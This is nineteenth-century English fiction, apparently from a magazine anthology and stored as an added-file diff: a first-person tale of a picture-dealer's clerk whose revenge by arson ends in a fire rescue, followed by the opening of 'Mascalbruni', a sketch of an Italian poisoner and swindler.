+"Will you not kiss your poor father, John, and see him for the last
+time?" said my mother on the morning of the funeral, as she took me by
+the hand.
+
+No; I would not. I was no hypocrite then. It is true I was terrified
+at the sight of death, but that was not the cause. The manner in
+which he had repulsed me nearly three years before, had never for a
+moment departed from my mind. There was not a day on which I did not
+brood upon it. I have often since recalled it, and with bitterness. I
+remember it now.
+
+My mother had but one relation in the world,--an uncle, possessed of
+considerable property, who resided near Luton, in Bedfordshire. She
+applied to him for some small assistance to enable her to pay the
+funeral expenses of her husband. Mr. Adams--for that was her uncle's
+name--sent her two guineas, accompanied by a request that she would
+never apply to, or trouble him again. There was, however, one person
+who stept forward in this extremity,--Mr. Ward, a tradesman, with whom
+my mother had formerly lived as a servant, but who had now retired
+from business. He offered my mother an asylum in his house. She was to
+be his housekeeper; and he promised to take care of, and one day to
+provide for, me. It was not long before we were comfortably settled in
+a small private house in Coppice-row, where, for the first time in my
+life, I was permitted to ascertain that existence was not altogether
+made up of sorrow.
+
+The old gentleman even conceived a strong liking, it may be called
+an affection, for me. He had stood godfather to me at my birth; and
+I believe, had I been his own son, he could not have treated me with
+more tenderness. He sent me to school, and was delighted at the
+progress I made, or appeared to make, which he protested was scarcely
+less than wonderful; a notion which the tutor was, of course, not
+slow to encourage and confirm. He predicted that I should inevitably
+make a bright man, and become a worthy member of society; the highest
+distinction, in the old gentleman's opinion, at which any human being
+could arrive. Alas! woe to the child of whom favourable predictions are
+hazarded! There never yet, I think, was an instance in which they were
+not falsified.
+
+We had been residing with Mr. Ward about three years, when a slight
+incident occurred which has impressed itself so strongly upon my memory
+that I cannot forbear relating it. Mr. Ward had sent me with a message
+into the City, where, in consequence of the person being from home, I
+was detained several hours. When I returned, it appeared that Mr. Ward
+had gone out shortly after me, and had not mentioned the circumstance
+of his having despatched me into the City. I found my mother in a state
+of violent agitation. She inquired where I had been, and I told her.
+
+"I can hardly believe you, John," she said; "are you sure you are
+telling me the truth?"
+
+I was silent. She repeated the question. I would not answer; and she
+bestowed upon me a sound beating.
+
+I bore my punishment with dogged sullenness, and retired into the back
+kitchen; in a corner of which I sat down, and, with my head between
+my hands, began to brood over the treatment I had received. Gradually
+there crept into my heart the same feeling I remembered to have
+conceived against my father,--a feeling of bitter malignity revived by
+a fresh object. I endeavoured to quell it, to subdue it, but I could
+not. I recalled all my mother's former kindness to me, her present
+affection for me; and I reminded myself that this was the first time
+she had ever raised her hand against me. This thought only nourished
+the feeling, till the aching or my brain caused it to subside into
+moody stupefaction.
+
+I became calmer in about an hour, and arose, and went into the front
+kitchen. My mother was seated at the window, employed at her needle;
+and, as she raised her eyes, I perceived they were red with weeping. I
+walked slowly towards her, and stood by her side.
+
+"Mother!" I said, in a low and tremulous voice.
+
+"Well, John; I hope you are a good boy now?"
+
+"Mother!" I repeated, "you don't know how you have hurt me."
+
+"I am sorry I struck you so hard, child; I did not mean to do it;" and
+she averted her head.
+
+"Not that--not that!" I cried passionately, beating my bosom with my
+clenched hands. "It's here, mother--here. I told you the truth, and you
+would not believe me."
+
+"Mr. Ward has returned now," said my mother; "I will go ask him;" and
+she arose.
+
+I caught her by the gown. "Oh, mother!" I said, "this is the second
+time you would not believe me. You shall not go to Mr. Ward yet!" and
+I drew her into the seat. "Say first that you are sorry for it--only a
+word. Oh, do say it!"
+
+As I looked up, I saw the tears gathering in her eyes. I fell upon my
+knees, and hid my face in her lap. "No, no; don't say anything now to
+me--don't--don't!" A spasm rose from my chest into my throat, and I
+fell senseless at her feet.
+
+My mother afterwards told me that it was the day of the year on which
+my father died, and she feared from my lengthened stay that I had come
+to harm. Dear, good woman! Oh! that I might hope to see her once more,
+even though it were but for one moment,--for we shall not meet in
+heaven!
+
+It was a cruel blow that deprived us of our kind protector! Mr. Ward
+died suddenly, and without a will; and my mother and I were left
+entirely unprovided with means. The old gentleman had often declared
+his intention of leaving my mother enough to render her comfortable
+during the remainder of her days, and had expressed his determination
+of setting me on in the world immediately I became of a proper age.
+It could hardly be expected that the heir-at-law would have fulfilled
+these intentions, even had he been cognisant of them. He was a low
+attorney, living somewhere in the neighbourhood of Drury-lane; and when
+he attended the funeral, and during the hour or two he remained in
+the house after it, it was quite clear that he had no wish to retain
+anything that belonged to his late relative except his property, and
+his valuable and available effects. He however paid my mother a month's
+wages in advance, presented me a dollar to commence the world with,
+shook hands with us, and wished us well.
+
+It was not long before my mother obtained a situation as servant in a
+small respectable family in King-street, Holborn; and, as I was now
+nearly eleven years of age, it was deemed by her friends high time that
+I should begin to get my own living. Such small influence, therefore,
+as my mother could command, was set on foot in my behalf; and I at
+length got a place as errand-boy to a picture-dealer in Wardour-street,
+Oxford-street. The duties required of me in this situation, if not of a
+valuable description, were, at least, various. I went with messages, I
+attended sales, I kept the shop, I cleaned the knives and shoes, and,
+indeed, performed all those services which it is the province of boys
+to render, some of which are often created because there happens to be
+boys to do them.
+
+This routine was, for a time, irksome. When I recalled the happy days I
+had spent under the roof of Mr. Ward, and the hopes and expectations he
+had excited within me of a more prosperous commencement of life,--hopes
+which his death had so suddenly destroyed,--it is not surprising that
+I should have felt a degree of discontent of my condition, for which
+I had no other cause. As I sat by the kitchen fire of an evening when
+my day's work was done, I often pictured to myself the old man lying
+where we had left him in the churchyard, mouldering insensibly away,
+unconscious of rain, or wind, or sunshine, or the coming of night,
+or the approach of day, wrapped in a shroud which would outlast its
+wearer, and silently waiting for oblivion. These thoughts became less
+frequent as time wore on; but I have never been able to dissociate the
+idea of death from these hideous conditions of mortality.
+
+My master, Mr. Bromley, when I first entered his service, was a man of
+about the middle age, and of rather grave and formal manners. He had
+not a bad heart; but I have since discovered that what appeared to my
+boyish fancy a hard and cold selfishness was but the exterior of those
+narrow prejudices which too many of that class, if not of all classes,
+indulge, or rather inherit. He felt that a distance ought to be
+preserved between himself and his servant; and what he thought he ought
+to do, he always did; so that I had been with him a considerable period
+before he even addressed a word to me which business did not constrain
+him to utter.
+
+He had a daughter, a girl about eighteen years of age. What a human
+being was Louisa Bromley! She was no beauty; but she had a face whose
+sweetness was never surpassed. I saw something like it afterwards in
+the faces of some of Raffaele's angels. The broad and serene forehead,
+the widely-parted eyebrow, the inexplicable mouth, the soul that
+pervaded the whole countenance! I can never forget that face; and, when
+I call it back to memory now, I admire it the more because, to use the
+modern jargon, there was no _intellect_ in it. There was no thought,
+no meditation or premeditation; but there was nature, and it was
+good-nature.
+
+Her gentleness and kindness soon won upon me. To be kind to me was
+at all times the way to win me, and the only way. I cannot express
+the happiness I felt at receiving and obeying any command from her.
+A smile, or the common courtesy of thanks from her lips, repaid me a
+hundred-fold for the performance of the most menial office.
+
+I had now been with Mr. Bromley about four years. I employed my
+leisure, of which I had a great deal, in reading. All the books I
+could contrive to borrow, or that fell in my way, I devoured greedily.
+Nor did I confine myself exclusively to one branch of reading,--I
+cannot call it study. But my chief delight was to peruse the lives
+of the great masters of painting, to make myself acquainted with the
+history and the comparative merits of their several performances, and
+to endeavour to ascertain how many and what specimens existed in this
+country. I had, also, a natural taste for painting, and sometimes
+surprised my master by the remarks I ventured to make upon productions
+he might happen to purchase, or which had been consigned to him for
+sale.
+
+Meanwhile, I was permitted to go out in the afternoon of each alternate
+Sunday. Upon these occasions I invariably went to see my mother. How
+well can I remember the gloomy underground kitchen in which I always
+found her, with her Bible before her on a small round table! With what
+pleased attention did she listen to me when I descanted on the one
+subject upon which I constantly dwelt,--the determination I felt, as
+soon as I had saved money enough, and could see a little more clearly
+into my future prospects, to take her from service, that she might come
+and live with me! This was, in truth, the one absorbing thought--it
+might almost be termed the one passion--of my existence at that time.
+I had no other hope, no other feeling, than that of making her latter
+years a compensation for the misery she must have endured during my
+father's life.
+
+One Sunday when I called, as usual, an old woman answered the door.
+She speedily satisfied my inquiries after my mother. She had been
+very ill for some days, and was compelled to keep her bed. My heart
+sank within me. I had seen her frequently in former years disfigured
+by her husband's brutality; I had seen her in pain, in anguish, which
+she strove to conceal; but I had never known her to be confined to her
+room. When I saw her now, young as I was, and unaccustomed to the sight
+of disease, I involuntarily shrunk back with horror. She was asleep. I
+watched her for a few minutes, and then stole softly from the room, and
+returned to my master's house.
+
+He was gone to church with his daughter. I followed thither, and waited
+under the portico till they came forth. I quickly singled them out from
+the concourse issuing from the church-doors. I drew my master aside,
+and besought him to spare me for a few days, that I might go and attend
+my mother, who was very ill.
+
+"Is she dying?" he inquired.
+
+I started. "No, not dying. Oh, no!"
+
+"Well, John, I can't spare you: we are very busy now, you know."
+
+And what was that to me? It is only on occasions like these, that the
+value of one's services is recognised. I thought of this at the time.
+I turned, in perplexity, to Louisa Bromley. She understood the silent
+appeal, and interceded for me. I loved her for that; I could have
+fallen down at her feet, and kissed them for it. She prevailed upon the
+old man to let me go.
+
+The people of the house at which my mother was a servant were kind, and
+even friendly. They permitted me to remain with her.
+
+I never left her side for more than half an hour at a time. She grew
+worse rapidly, but I would not believe it. My mother, however, was
+fully aware of her situation. She told me frequently, with a smile,
+which I could not bear to see upon her face, it was so unlike joy, but
+it was to comfort me,--she told me that she knew she was about to die,
+and she endeavoured to impress upon me those simple maxims of conduct
+for my future life which she had herself derived from her parents. She
+must not die--must not; and I heard with impatience, and heedlessly,
+the advice she endeavoured to bestow upon me.
+
+She died. The old nurse told me she was dead. It could not be,--she
+was asleep. My mother had told me not an hour before, that she felt
+much better, and wanted a little sleep; and at that moment her hand was
+clasped in mine. The lady of the house took me gently by the arm, and,
+leading me into an adjoining room, began to talk to me in a strain, I
+suppose, usually adopted upon such occasions,--for I knew not what she
+said to me.
+
+In about two hours I was permitted to see my mother again. There was
+a change--a frightful change! The nurse, I remember, said something
+about her looking like one asleep. I burst into a loud laugh. Asleep!
+that blank, passive, impenetrable face like sleep--petrified sleep! I
+enjoined them to leave me, and they let me have my own way; for, boy as
+I was, they were frightened at me.
+
+I took my mother's hand, and wrung it violently. I implored her to
+speak to me once more, to repeat that she still loved me, to tell me
+that she forgave all my faults, all my omissions, all my sins towards
+her. And then I knew she _was_ dead, and fell down upon my knees to
+pray; but I could not. Something told me that I ought not--something
+whispered that I ought rather to----; but I was struck senseless upon
+the floor.
+
+The mistress of my mother, who was a good and worthy woman, offered to
+pay her funeral expenses; but I would not permit it. Not a farthing
+would I receive from her; out of my own savings I buried her.
+
+If I could have wept--but I never could weep--when this calamity befell
+me, I think that impious thought would never have entered my brain.
+That thought was, that the Almighty was unjust to deprive me of the
+only being in the world who loved me, who understood me, who knew that
+I had a heart, and that, when it was hurt and outraged, my head was not
+safe--not to be trusted. That thought remained with me for years.
+
+
+CHAPTER II.
+
+Five years elapsed. The grief occasioned by my mother's death having in
+some measure subsided, my thoughts became concentrated upon myself with
+an intensity scarcely to be conceived. A new passion took possession of
+my soul: I would distinguish myself, if possible, and present to the
+world another instance of friendless poverty overcoming and defying
+the obstacles and impediments to its career. With this view constantly
+before me, I read even more diligently than heretofore. I made myself a
+proficient in the principles of mathematics; I acquired some knowledge
+of mechanical science; but, above all, I took every opportunity of
+improving my taste in the fine arts. This last accomplishment was soon
+of infinite service to me; many gentlemen who frequented our shop were
+pleased to take much notice of me; my master was frequently rallied
+upon having a servant who knew infinitely more of his business than
+himself; and my opinion on one or two remarkable occasions was taken in
+preference to that of my employer.
+
+Mr. Bromley naturally and excusably might have conceived no slight envy
+of my acquirements; but he was not envious. Shall I be far wrong when
+I venture to say, that few men are so, where pecuniary interest points
+out the impolicy of their encouraging that feeling? Be this as it may,
+he treated me with great kindness; and I was grateful for it, really
+and strongly so. I had been long since absolved from the performance of
+those menial duties which had been required of me when I first entered
+his service; my wages were increased to an extent which justified me in
+calling them by the more respectable term, salary; I was permitted to
+live out of the house; and in all respects the apparent difference and
+distance between my master and myself were sensibly diminished.
+
+During this period of five years I never received one unkind word or
+look from Louisa Bromley: and the affection I bore towards this young
+woman, which was the affection a brother might have felt, caused me
+to strive by every means at my command to advance the fortunes of her
+father. And, indeed, the old man had become so attached to me,--partly,
+and I doubt not unconsciously, because my talents were of value to
+him,--that I should not have had the heart, even had my inclinations
+prompted me, to desert him. It is certain that I might have improved my
+own position by doing so.
+
+At this time Frederick Steiner became acquainted with Mr. Bromley.
+He was a young man about thirty years of age, of German descent, and
+possessed of some property. The manners of Steiner were plausible,
+he was apparently candid, his address indicated frankness and entire
+absence of guile, and he was handsome; yet I never liked the man. It is
+commonly supposed that women are gifted with the power of detecting the
+worst points of the characters of men at the first glance. This gift
+is withheld when they first behold the man they are disposed to love.
+This, at any rate, was the case with Louisa Bromley.
+
+Not to dwell upon this part of my narrative, in a few months Bromley's
+daughter was married to Steiner, who was taken into partnership.
+
+I must confess I was deeply mortified at this. I myself had conceived
+hopes of one day becoming Bromley's partner; and my anxiety for the
+happiness of his daughter led me to doubt whether she had not made a
+choice which she might have occasion afterwards to deplore. However,
+things went on smoothly for a time. Steiner was civil, nay, even
+friendly to me; and the affection he evinced towards his little boy,
+who was born about a year after the marriage, displayed him in so
+amiable a light, that I almost began to like the man.
+
+It was not very long, however, before Steiner and I came to understand
+each other more perfectly. He was possessed with an overweening conceit
+of his taste in pictures, and I on my part obstinately adhered to my
+own opinion, whenever I was called upon to pronounce one. This led to
+frequent differences, which commonly ended in a dispute, which Bromley
+was in most cases called upon to decide. The old man, doubtless, felt
+the awkwardness of his position; but, as his interest was inseparable
+from a right view of the question at issue, he commonly decided with me.
+
+Upon these occasions Steiner vented his mortification in sneers at
+my youth, and ironical compliments to me upon my cleverness and
+extraordinary genius; for both of which requisites, as he was signally
+deficient in them, he especially hated me. I could have repaid his
+hatred with interest, for I kept it by me in my own bosom, and it
+accumulated daily.
+
+I know not how it happened that the child wound itself round my heart,
+but it was so. It seemed as though there were a necessity that, in
+proportion as I detested Steiner, I must love his child. But the boy,
+from the earliest moment he could take notice of anything, or could
+recognise anybody, had attached himself to me; and I loved him,
+perhaps for that cause, with a passionate fondness which I can scarcely
+imagine to be the feeling even of a parent towards his child.
+
+If I were not slow by nature to detect the first indications of
+incipient estrangement, I think I should have perceived in less than
+two years after Steiner had been taken into partnership by Mr. Bromley,
+a growing reserve, an uneasy constraint in the manners of the latter,
+and a studied, an almost formal civility on the part of his daughter. I
+now think there must have been something of the kind, although it was
+not at the time apparent to me. I am certain, at all events, there was
+less cordiality, less friendship, in the deportment of Mrs. Steiner
+towards me: a circumstance which I remember to have considered the
+result of her altered situation. The terms of almost social equality,
+however, were no longer observed.
+
+One Mr. Taylor, a very extensive picture-dealer, who lived in the
+Haymarket, made several overtures to me about this time. He had heard
+many gentlemen of acknowledged taste speak of me in the highest terms;
+and, in truth, I was now pretty generally recognised throughout the
+trade as one of the best judges of pictures in London. I had more
+than one interview, of his own seeking, with this gentleman. He made
+me a most flattering and advantageous offer: he would have engaged my
+services for a certain number of years, and at the expiration of the
+period he would have bound himself to take me into partnership. I had
+received many similar offers before, although none that could be for a
+moment compared, on the score of emolument and stability, with this. I
+rejected those for the sake of Bromley: I rejected this for my own.
+
+Shall I be weak enough to confess it? The respect I bore the old
+man even now; my affection for his daughter, my love for the child,
+went some part of the way towards a reason for declining Taylor's
+proposal; but it did not go all the way. I hated Steiner so intensely,
+so mortally, and he supplied me daily with such additional cause of
+hatred, that I felt a species of excitement, of delight, in renewing
+from time to time my altercations with him: a delight which was
+considerably increased by the fact that he was quite incapable of
+competing with me in argument. There was another reason, which added
+a zest, if anything could do so, to the exquisite pleasure I derived
+from tormenting him,--the belief I entertained that Bromley and himself
+dared not part with me: they knew my value too well. Bromley, at least,
+I was well aware, was conscious enough of that.
+
+I had been attending one day a sale of pictures, the property of a
+certain nobleman whose collection, thirty years ago, was the admiration
+of connoisseurs. Mr. ---- (I need not give his name, but he is still
+living,) had employed me to bid for several amongst the collection;
+and had requested my opinion of a few, the merit of which, although
+strongly insisted upon, he was disposed to doubt. When I returned in
+the evening, I saw Steiner in the shop waiting for me, and--for hate
+is quick at these matters, quicker even than love--I knew that he
+meditated a quarrel. I was not mistaken. He looked rather pale, and his
+lip quivered slightly.
+
+"And so," said he, "you have been holding several conversations with
+Mr. Taylor lately; haven't you, Mr. Gibson?"
+
+"Who told you that I had been holding conversations with him?"
+
+"No matter: you have done so. Pray, may I ask the tenour of them?"
+
+"Mr. Taylor wished to engage my services," I replied, "and I declined
+to leave Mr. Bromley."
+
+"That's not very likely," said Steiner with a sneer.
+
+Steiner was right there; it was not very likely. He might with justice
+consider me a fool for not having embraced the offer.
+
+"I suppose," pursued Steiner in the same tone, "Mr. ---- would follow
+you to your new situation. You would select his pictures for him as
+usual, doubtless."
+
+"Doubtless I should," said I with a cool smile that enraged him. "Mr.
+---- would follow _me_ certainly, and many others would follow _him_,
+Mr. Steiner."
+
+"I'll tell you what it is," cried Steiner, and a flush overspread his
+face; "Taylor has been using you for his own purposes. You have been
+endeavouring to undermine our connexion, and have been serving him at
+the same time that you have taken our wages."
+
+It was not a difficult matter at any time to move me to anger. I
+approached him, and with a glance of supreme scorn replied, "It is
+false!--nay, I don't fear you--it's a lie,--an infamous lie!"
+
+Steiner was a very powerful man, and in the prime of manhood; I was
+young, and my limbs were not yet fixed,--not set. He struck me a
+violent blow on the face. I resisted as well as I was able; but what
+can weakness do against strength, even though it have justice on its
+side? He seized me by the cravat, and, forcing his knuckles against my
+throat, dealt me with the other hand a violent blow on the temple, and
+felled me to the earth. O that I had never risen from it! It had been
+better.
+
+When I came to my senses, for the blow had for a while stunned me, I
+arose slowly, and with difficulty. Steiner was still standing over me
+in malignant triumph, and I could see in the expression of his eyes the
+gratified conviction he felt of having repaid the long score of ancient
+grudges in which he was indebted to me. His wife was clinging to his
+arm, and as I looked into her face I perceived terror in it, certainly;
+but there was no sympathy,--nay, that is not the word,--I could not
+have borne that; there was no sorrow, no interest, no concern about me.
+My heart sickened at this. Bromley was there also. He appeared slightly
+perplexed; and, misconceiving the meaning of my glance, said coldly,
+but hurriedly, "You brought it entirely upon yourself, Mr. Gibson."
+
+I turned away, and walked to the other end of the shop for my hat. I
+had put it on, and was about leaving them. As I moved towards the door,
+I was nearly throwing down the little boy, who had followed me, and was
+now clinging to the skirt of my coat, uttering in imperfect accents my
+name. I looked down. The little thing wanted to come to me to kiss me.
+Sweet innocent! there was one yet in the world to love me. I would have
+taken the child in my arms; but Mrs. Steiner exclaimed abruptly, "Come
+away, Fred,--do; I insist upon it, sir." From that time, and for a long
+time, I hated the woman for it.
+
+I retreated to my lodging, and slunk to my own room with a sense of
+abasement, of degradation, of infamy, I had never felt before. Mrs.
+Matthews, the woman of the house, who had answered the door to me,
+and had perceived my agitation, followed me up stairs. She inquired
+the cause, and was greatly shocked at the frightful contusion upon my
+temple. I told her all, for my heart was nigh bursting, and would be
+relieved. She hastened down stairs for an embrocation, which the good
+woman had always by her, and, returning with it, began to bathe my
+forehead.
+
+"Wouldn't I trounce the villain for it," she said, as she continued to
+apply the lotion.
+
+"What did you say, Mrs. Matthews?" and I suddenly looked up.
+
+"Why, that I'd have the rascal punished,--that's what I said. Hanging's
+too good for such a villain."
+
+The kind creature--I was a favourite of hers--talked a great deal more
+to the same effect, and at last left me to procure a bottle of rum,
+which, much to her surprise, for I was no drinker, I requested her to
+fetch me.
+
+How exquisite it was,--what a luxury to be left alone all to myself!
+Punished!--the woman had said truly,--he must be punished. They, too,
+must not escape. The ingratitude of the old man,--his insolence of
+ingratitude was almost as bad as the conduct of Steiner. After what
+I had done for him!--an old servant who had indeed served him!--who
+had refused a certainty, a respectable station in society, perhaps a
+fortune, for his sake! And he must escape,--he must go unpunished,--he
+must revel in the consciousness of the impunity of his insult? _No._ I
+swore that deeply; and, lest it should be possible that I could falter,
+or perhaps renounce my intention, I confirmed that oath with another,
+which I shudder to think of, and must not here set down.
+
+I emptied the bottle of rum, but I was not drunk. When I went to bed I
+was as sober as I am at this moment. I did not go to bed to sleep. My
+senses were in a strange ferment. The roof of my head seemed to open
+and shut, and I fancied I could hear the seething of my brain below. I
+presently fell into a kind of stupor.
+
+It was past midnight when I recovered from this swoon, and I started
+from the bed to my feet. Something had been whispering in my ear, and I
+listened for a moment in hideous expectation that the words--for I did
+hear words--would be repeated; but all was silent. I struck a light,
+and after a time became more composed. Even the furniture of the room
+was company to me. Before morning I had shaped my plan of revenge, and
+it was in accordance with the words that had been spoken to me. Oh, my
+God! what weak creatures we are! This fantasy possessed, pervaded me;
+it did not grow,--it did not increase from day to day,--it came, and it
+overcame me.
+
+I returned the next morning to Bromley's house, and requested to see
+Steiner. I apologised to him for the words I had used on the previous
+day, and requested to be permitted to remain in my situation, if Mr.
+Bromley would consent to it, until I could turn myself round; and I
+hoped, in the mean time, that what had taken place would be overlooked
+and forgotten. Steiner received me with a kind of civil arrogance, and
+went to confer with his partner. They presently returned together, and
+my request, after an admonitory lecture, rather confusedly delivered,
+from Bromley, was acceded to; Steiner warning me at the same time to
+conduct myself with more humility for the future, under pain of similar
+punishment.
+
+I did do so, and for six months nothing could exceed the attention
+I paid to business, the zeal I evinced upon every occasion, the
+forbearance I exercised under every provocation. And I had need of
+forbearance. Bromley had been entirely perverted by his son-in-law;
+and the kind old man of former years was changed into a morose and
+almost brutal blackguard--to me,--only to me. Mrs. Steiner had likewise
+suffered the influence of her husband to undermine, and for the time
+to destroy her better feelings; and she treated me upon all occasions,
+not merely with marked coldness, but with positive insult. I need
+hardly say that Steiner enjoyed almost to satiety the advantage he had
+gained over me. Even the very servants of the house took the cue from
+their superiors, and looked upon me with contempt and disdain. The
+little boy alone, who had received express commands never to speak to
+me, sometimes found his way into the shop, and as he clung round my
+neck, and bestowed unasked kisses upon my cheek, my hatred of the rest
+swelled in my bosom almost to bursting.
+
+The persecution I endured thus long was intense torment to me; the
+reader, whoever he may be, will probably think so. He will be mistaken.
+It was a source of inconceivable, of exquisite pleasure. It was a
+justification to me; it almost made the delay of my vengeance appear
+sinful.
+
+It was now the 22nd of December 1808. I cannot refrain from recording
+the date. Steiner had been during the last six weeks at Antwerp, and
+was expected to return in a day or two. He had purchased at a sale
+in that city a great quantity of pictures, which had just arrived,
+and were now in the shop. They were severally of no great value, but
+the purchase had brought Bromley's account at the banker's to a very
+low ebb. Mrs. Steiner and the child were going to spend the Christmas
+holidays with some relatives residing at Canterbury. She passed through
+the shop silently and without even noticing me, and hurried the boy
+along lest he should wish--and he did make an effort to do so--to take
+his farewell of me. It was evening at the time, and Bromley was in his
+back parlour. I was busy in the shop that evening; it was business of
+my own, which I transacted secretly. Having completed it, I did what
+was rather unusual with me; I opened the door of the parlour, and bade
+Bromley good night.
+
+All that evening I hovered about the neighbourhood. I had not
+resolution to go from it. Now that the time was come when I should be
+enabled, in all human probability, to fulfil, to glut my vengeance, my
+heart failed me. The feeling which had supported me during the last six
+months, which had been more necessary to my soul than daily sustenance
+to my body, had deserted me then, but that by a powerful effort I
+contrived to retain it. While I deplored having returned to Bromley's
+employment, and the abject apology I had made to Steiner, that very
+step and its consequences made it impossible for me to recede. It must
+be. It was my fate to do it, and it was theirs that it should be done.
+
+What trivial incidents cling to the memory sometimes, when they are
+linked by association to greater events! I was, I remember standing
+at the door of a small chandler's shop in Dean-street, almost lost to
+myself, and to all that was passing about me.
+
+The woman of the house tapped me on the shoulder.
+
+"Will you be so good," she said, "as to move on; you are preventing my
+customers from entering the shop."
+
+"My good woman," I said, "I hope there is no harm in my standing here?"
+
+"Not much harm," replied the woman, good-humouredly. "I hope you have
+been doing nothing worse to-day?"
+
+I started, and gazed at the woman earnestly. She smiled.
+
+"Why, bless the man! you look quite flurried. I haven't offended you, I
+hope?"
+
+"No, no!" I muttered hastily, and moved away. The agony I endured for
+the next hour I cannot describe.
+
+I passed Bromley's house several times from the hour of nine till
+half-past. All was silent, all still. What if my design should not take
+effect! I almost hoped that it would not; and yet the boy who cleaned
+out the shop must inevitably discover it in the morning. I trembled at
+the contemplation of that, and my limbs were overspread with a clammy
+dew. It was too late to make a pretext of business in the shop at that
+time of night. Bromley was at home, and might, nay would, suspect me.
+I resolved to be on the premises the first thing in the morning, and
+retired in a state of mind to which no subsequent occurrence of my life
+was ever capable of reducing me.
+
+It was about half-past eleven o'clock, or nearer to twelve, that the
+landlord of the Green Man, in Oxford-street, entered the parlour where
+I was sitting, gazing listlessly upon two men who were playing a game
+at dominos.
+
+"There is a dreadful fire," said he, "somewhere on the other side of
+the street;--in Berwick or Wardour-street, I think."
+
+I sprang to my feet, and rushed out of the house, and, turning into
+Hanway-yard, ran down Tottenham-court road, crossed the fields, (they
+are now built upon,) and never stopped till I reached Pancras Church.
+
+As I leaned against the wall of the churchyard some men came along.
+
+"Don't you see the fire, master?" said one, as they passed me.
+
+Then, for the first time, I did see the fire, tingeing the clouds
+with a lurid and dusky red, and at intervals casting a shower of
+broken flame into the air, which expanded itself in wide-spreading
+scintillations.
+
+God of Heaven! what had I done? Why was I here? I lived in the
+neighbourhood of Bromley's house, and they would be sending for me. The
+landlord, too, would afterwards remember having seen me in his parlour,
+and informing me of the fire in the neighbourhood, and I should be
+discovered. These thoughts were the duration of a moment, but they
+decided me. I ran back again in a frenzy of remorse and terror, and in
+a few minutes was in Wardour-street.
+
+The tumult and confusion were at their height. The noise of the
+engines, the outcries of the firemen, the uproar of the crowd, faintly
+shadowed forth the tumult in my mind at that moment. I made my way
+through the dense mass in advance of me, and at length reached the
+house.
+
+Bromley had just issued from it, and was wringing his hands, and
+stamping his naked feet upon the pavement. He recognised me, and seized
+me wildly by the arms.
+
+"Oh! my good God! Gibson," said he, "my child!"
+
+"What child--what child?" cried I, eagerly.
+
+"Mine--mine! and the infant! they are in there!"
+
+"They are gone out of town; don't you remember?" I thought the sudden
+fright had deprived him of his senses.
+
+"No, no, no! they were too late! the coach was gone!"
+
+With a loud scream I dashed the old man from me, and flew to the door,
+which was open. I made my way through the stifling smoke that seemed
+almost to block up the passage, and sprang up stairs. The bed-room door
+was locked. With a violent effort I wrenched off the lock, and rushed
+into the room.
+
+All was darkness; but presently a huge tongue of flame swept through
+the doorway, and, running up the wall, expanded upon the ceiling;
+and then I saw a figure in white darting about the room with angular
+dodgings like a terrified bird in a cage.
+
+"Where is the child?" I exclaimed, in a voice of frenzy.
+
+Mrs. Steiner knew me, and ran towards me, clasping me with both arms.
+She shook her head wildly, and pointed she knew not where.
+
+"Here, Gibson,--here," cried the child, who had recognised my voice.
+
+I threw off my coat immediately, and, seizing the boy, wrapt him
+closely in it.
+
+"This way, madam,--this way; at once, for Heaven's sake!" and I dragged
+her to the landing.
+
+There was hell about me then! The flames, the smoke, the fire, the
+howlings; it was a living hell! But there was a shriek at that
+moment! Mrs. Steiner had left my side. Gracious Heavens! she had been
+precipitated below! A sickness came upon me then,--a sensation of being
+turned sharply round by some invisible power; and, with the child
+tightly clasped in my arms, I was thrown violently forward into the
+flames, that seemed howling and yearning to devour me.
+
+
+
+
+MASCALBRUNI.
+
+
+I have frequently observed that there are some people who haunt you
+in all parts of the world, and to whom you have a sort of secret
+antipathy, yet who, by an attraction in spite of repulsion, are
+continually crossing your path, as though they were sent as emissaries
+to link themselves with your destiny, or on the watch mysteriously to
+bring it about. One person in particular, whose name I do not even
+know, if he has one, I have met fifty times in as many different
+places, and we each say to ourselves, "'Tis he!--what, again!" So with
+a personage too well known at home and abroad, of whom, by a curious
+concatenation of circumstances, I am enabled to become the biographer.
+
+Geronymo Mascalbruni was the son of a pauper belonging to a village
+whose name I forget, in the marshes of Ancona. He had begged his way
+when a boy to Rome, and supported himself for some time there, by
+attending at the doors of the courts of justice, and running on errands
+for the advocates or the suitors. His intelligence and adroitness did
+not escape the observation of one of the attorneys, who, wanting a lad
+of all work, took Mascalbruni into his service, and taught him to read
+and write; finding him useful in his office, and having no children of
+his own, he at length adopted him, _in formâ pauperis_, and gave him
+a small share in his business. This man of the law did not bear the
+most exemplary of characters, and perhaps it was in order to conceal
+some nefarious practices to which Mascalbruni was privy that he made
+the clerk his associate. Perhaps also he discovered in his character a
+hardihood, combined with cunning and chicanery, that made him a ready
+instrument for his purposes, and thus enabled him, like Teucer, to
+fight behind the shield of another. Under this worthy master--a worthy
+disciple--Mascalbruni continued for some years; till at length, tired
+of confinement to the desk, and having the taste early acquired for a
+roving and profligate life revived, he, during his old benefactor's
+confinement to his bed with a rheumatic attack, administered to him a
+dose of poison instead of medicine, and having robbed him of all the
+money and plate that was portable, and of certain _coupons_, and _bons_
+in the Neapolitan and other funds, standing in his name, he decamped,
+and reached Florence in safety.
+
+Every one has heard of the laxity of the Roman police. The impunity
+of offenders, even when their crimes are established by incontestable
+proof, is notorious. The relations of the lawyer, contrary to all their
+expectations, (for he had never recognised them,) had come into their
+inheritance, and little regarded the means, having attained the end.
+They perhaps, also, from having had no admission into the house during
+the old miser's life, were ignorant of the strength of his coffers;
+and the disappearance of the murderer, who, by a will which they
+discovered and burnt, had been made his sole heir, was by them deemed
+too fortunate a circumstance; so that they neither inquired into the
+manner of his death, nor had any _post mortem_ examination of the body.
+They gave their respectable relative a splendid funeral, erected to his
+memory a tomb in one of the rival churches that front the Piazza del
+Popolo, in which his many virtues were not forgotten, and established
+an annual mass for his _povera anima_, that no doubt saved him
+
+    "From many a peck of purgatorial coals."
+
+Having quietly inurned the master, let us follow the man. The sum
+which he carried with him is not exactly known, but it must have been
+considerable. His stay in the Tuscan state was short, and we find
+him with his ill-gotten wealth in "that common sewer of London and
+of Rome," Paris. He was then about twenty years of age, had a good
+person, talents, an insinuating address, and a sufficient knowledge
+of the world, at least of the worst part of mankind, to avoid sinking
+in that quagmire, which has swallowed up so many of the thoughtless
+and inexperienced who have trusted to its flattering surface. In fact,
+Nature seemed to have gifted him with the elements of an accomplished
+sharper, and he seconded her attributes by all the resources of art.
+He took an apartment in the Rue Neuve de Luxembourg, that street so
+admirably situated between the Boulevards and the Gardens of the
+Tuileries, and had engraven on his cards, "Il Marchese Mascalbruni." He
